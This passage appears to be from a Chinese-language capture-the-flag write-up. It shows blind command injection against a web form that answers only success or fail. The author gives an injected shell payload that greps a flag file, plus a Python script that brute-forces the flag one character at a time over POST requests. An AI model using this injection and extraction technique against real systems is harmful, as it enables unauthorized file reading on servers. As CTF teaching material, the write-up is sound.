他只會回傳 success
和 fail
,先試試看 '; grep -q "NCKUCTF{d19_" /fl* && exit 0 || exit 1'
,好欸,他回傳 success
!!!!
但每一位都用人工猜有點太慢,可以寫個程式根據他回傳的 0 1 訊號反推 flag ,最笨的方法就是直接一個個慢慢枚舉,這樣複雜度會是 O(NK) , N 是字串長度,K 是枚舉的字元集數量,根據之前的觀察字元集應該是 0123456789abcdefghijklmnopqrstuvwxyz_!{}
,雖然我想到比較好的方法是把每個字轉 ASCII ,再用二進位表示,這樣就只會最多 7 次就知道那一個字是啥了,能壓到 O(N),但這樣寫有點累,而且字元集也不算太多,要是真的不行就再拿多執行緒來用也可以變成 O(N)
我的 python 程式碼:
import requests
url = "http://140.116.246.59:28116/"
prefix = "NCKUCTF{d19_"
charset = "0123456789abcdefghijklmnopqrstuvwxyz_!}"
flag = prefix
while not flag.endswith("}"):
for char in charset:
payload = f"'; grep -q \"{flag + char}\" /fl* && exit 0 || exit 1'"
data = {'name': payload}
response = requests.post(url, data=data)
if response.text.count("success") == 2:
flag += char
print(f"Found: {flag}")
break
print(f"Final Flag: {flag}")